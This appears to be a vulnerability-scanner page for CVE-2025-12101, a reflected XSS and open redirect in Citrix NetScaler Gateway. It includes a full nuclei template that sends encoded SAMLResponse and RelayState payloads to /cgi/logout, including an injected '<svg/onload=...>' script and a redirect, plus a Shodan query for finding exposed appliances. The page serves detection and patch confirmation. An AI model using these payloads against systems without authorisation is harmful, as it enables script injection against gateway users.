HexBrain

Browse / CVEs / CVE-2025-12101

CVE-2025-12101· citrix / netscaler application delivery controller

Citrix NetScaler ADC & Gateway - Reflected XSS / Open Redirect

mediumseverity
26.3%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Cross-Site Scripting (XSS) in NetScaler ADC and NetScaler Gateway when the appliance is configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server.

Impact

Attackers can execute JavaScript in victim browsers or redirect users to malicious sites through crafted SAML responses in Citrix NetScaler Gateway configurations.

Fix

Apply the latest Citrix security patches that properly sanitize SAML response handling in NetScaler ADC and Gateway.

How to confirm it

Send: POST /cgi/logout
Positive when: status_code == 302 and contains(location, 'https://scanme.sh')
Positive when: success == true

Run it with nuclei: nuclei -id CVE-2025-12101 -u <target>

The full check
id: CVE-2025-12101

info:
  name: Citrix NetScaler ADC & Gateway - Reflected XSS / Open Redirect
  author: DhiyaneshDK,watchtowr
  severity: medium
  description: |
    Cross-Site Scripting (XSS) in NetScaler ADC and NetScaler Gateway when the appliance is configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server.
  impact: |
    Attackers can execute JavaScript in victim browsers or redirect users to malicious sites through crafted SAML responses in Citrix NetScaler Gateway configurations.
  remediation: |
    Apply the latest Citrix security patches that properly sanitize SAML response handling in NetScaler ADC and Gateway.
  reference:
    - https://labs.watchtowr.com/is-it-citrixbleed4-well-no-is-it-good-also-no-citrix-netscalers-memory-leak-rxss-cve-2025-12101/?1
  metadata:
    verified: true
    max-request: 1
    vendor: citrix
    product: netscaler_application_delivery_controller
    shodan-query: http.title:"citrix gateway"
  tags: cve,cve2025,citrix,xss,js,vuln

flow: javascript() || http()

javascript:
  - code: |
      let net = require("nuclei/net");

      let body = "SAMLResponse=PD94bWwgdmVyc2lvbj0iMS4wIj8%2BPHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJ0ZXN0IiBWZXJzaW9uPSIyLjAiPjxzYW1sOkFzc2VydGlvbiB4bWxuczpzYW1sPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIiBJRD0idGVzdCIgVmVyc2lvbj0iMi4wIj48c2FtbDpTdWJqZWN0PjxzYW1sOk5hbWVJRD50ZXN0QGV4YW1wbGUuY29tPC9zYW1sOk5hbWVJRD48L3NhbWw6U3ViamVjdD48L3NhbWw6QXNzZXJ0aW9uPjwvc2FtbHA6UmVzcG9uc2U%2B&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KGRvY3VtZW50LmRvbWFpbik%2b";

      let request = `POST /cgi/logout HTTP/1.1\r\n`;
      request += `Host: ${Host}\r\n`;
      request += `Content-Type: application/x-www-form-urlencoded\r\n`;
      request += `Content-Length: ${body.length}\r\n`;
      request += `\r\n`;
      request += body;

      let conn = net.OpenTLS('tcp', `${Host}:${Port}`);
      conn.Send(request);

      let response = conn.RecvString();
      conn.Close();

      let statusMatch = response.match(/HTTP\/\d\.\d\s+(\d+)/);
      let statusCode = statusMatch ? parseInt(statusMatch[1]) : 0;

      let hasXSSPayload = response.includes('<svg/onload=alert(document.domain)>');

      if (statusCode === 302 && hasXSSPayload) {
        Export(response);
      }

    args:
      Host: "{{Host}}"
      Port: 443

    matchers:
      - type: dsl
        name: xss
        dsl:
          - "success == true"
http:
  - raw:
      - |
        POST /cgi/logout HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        SAMLResponse=PD94bWwgdmVyc2lvbj0iMS4wIj8%2BPHNhbWxwOlJlc3BvbnNlIHhtbG5zOnNhbWxwPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6cHJvdG9jb2wiIElEPSJ0ZXN0IiBWZXJzaW9uPSIyLjAiPjxzYW1sOkFzc2VydGlvbiB4bWxuczpzYW1sPSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXNzZXJ0aW9uIiBJRD0idGVzdCIgVmVyc2lvbj0iMi4wIj48c2FtbDpTdWJqZWN0PjxzYW1sOk5hbWVJRD50ZXN0QGV4YW1wbGUuY29tPC9zYW1sOk5hbWVJRD48L3NhbWw6U3ViamVjdD48L3NhbWw6QXNzZXJ0aW9uPjwvc2FtbHA6UmVzcG9uc2U%2B&RelayState=aHR0cHM6Ly9zY2FubWUuc2g=

    matchers:
      - type: dsl
        name: open-redirect
        dsl:
          - status_code == 302
          - contains(location, 'https://scanme.sh')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from